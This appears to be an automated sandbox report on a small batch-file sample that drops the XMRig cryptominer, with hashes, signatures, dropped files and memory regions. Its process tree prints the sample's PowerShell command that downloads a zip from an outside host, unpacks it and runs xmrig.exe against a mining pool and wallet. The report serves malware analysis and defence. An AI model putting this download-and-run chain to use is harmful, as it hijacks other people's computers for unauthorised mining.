Analysis

  • max time kernel
    1793s
  • max time network
    1800s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-10-2023 12:25

General

  • Target

    tesy - Copy.bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2868
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4944
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2288
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4412
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:396

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    08f9f3eb63ff567d1ee2a25e9bbf18f0

    SHA1

    6bf06056d1bb14c183490caf950e29ac9d73643a

    SHA256

    82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0

    SHA512

    425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3rih54lx.iq2.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\test.zip

    Filesize

    3.2MB

    MD5

    3238c0d25d84b6f0bb645bbb29cdbf61

    SHA1

    11ae550c8a82c0793862c366b92072ad7e18befe

    SHA256

    b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb

    SHA512

    d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    170B

    MD5

    78657df2e34e338ff135d3dde69177bf

    SHA1

    d5048a4270b7ba599e941d26d61bfa2e8da31fce

    SHA256

    9004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98

    SHA512

    f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/396-77-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-69-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-116-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-115-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-114-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-81-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-113-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-112-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-111-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-48-0x0000015BE2BD0000-0x0000015BE2BF0000-memory.dmp

    Filesize

    128KB

  • memory/396-49-0x0000015BE4340000-0x0000015BE4380000-memory.dmp

    Filesize

    256KB

  • memory/396-50-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-51-0x0000015BE4380000-0x0000015BE43A0000-memory.dmp

    Filesize

    128KB

  • memory/396-52-0x0000015BE43A0000-0x0000015BE43C0000-memory.dmp

    Filesize

    128KB

  • memory/396-53-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-54-0x0000015BE4380000-0x0000015BE43A0000-memory.dmp

    Filesize

    128KB

  • memory/396-55-0x0000015BE43A0000-0x0000015BE43C0000-memory.dmp

    Filesize

    128KB

  • memory/396-56-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-57-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-58-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-59-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-60-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-61-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-62-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-63-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-64-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-65-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-66-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-67-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-68-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-80-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-70-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-71-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-72-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-73-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-74-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-75-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-76-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-110-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-78-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-95-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-109-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-108-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-82-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-83-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-84-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-85-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-86-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-87-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-88-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-89-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-90-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-91-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-92-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-93-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-94-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-79-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-96-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-97-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-98-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-99-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-100-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-101-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-102-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-103-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-104-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-105-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-106-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/396-107-0x00007FF767280000-0x00007FF767D83000-memory.dmp

    Filesize

    11.0MB

  • memory/2288-44-0x00007FFF7DE40000-0x00007FFF7E901000-memory.dmp

    Filesize

    10.8MB

  • memory/2288-33-0x00000230331C0000-0x00000230331D0000-memory.dmp

    Filesize

    64KB

  • memory/2288-30-0x00007FFF7DE40000-0x00007FFF7E901000-memory.dmp

    Filesize

    10.8MB

  • memory/2288-31-0x00000230331C0000-0x00000230331D0000-memory.dmp

    Filesize

    64KB

  • memory/2288-32-0x00000230331C0000-0x00000230331D0000-memory.dmp

    Filesize

    64KB

  • memory/2288-34-0x0000023035560000-0x0000023035572000-memory.dmp

    Filesize

    72KB

  • memory/2288-35-0x0000023035540000-0x000002303554A000-memory.dmp

    Filesize

    40KB

  • memory/4944-0-0x000001BBF5350000-0x000001BBF5372000-memory.dmp

    Filesize

    136KB

  • memory/4944-10-0x00007FFF7DDF0000-0x00007FFF7E8B1000-memory.dmp

    Filesize

    10.8MB

  • memory/4944-11-0x000001BBF32D0000-0x000001BBF32E0000-memory.dmp

    Filesize

    64KB

  • memory/4944-12-0x000001BBF32D0000-0x000001BBF32E0000-memory.dmp

    Filesize

    64KB

  • memory/4944-13-0x00007FFF7DDF0000-0x00007FFF7E8B1000-memory.dmp

    Filesize

    10.8MB

  • memory/4944-14-0x000001BBF32D0000-0x000001BBF32E0000-memory.dmp

    Filesize

    64KB

  • memory/4944-18-0x00007FFF7DDF0000-0x00007FFF7E8B1000-memory.dmp

    Filesize

    10.8MB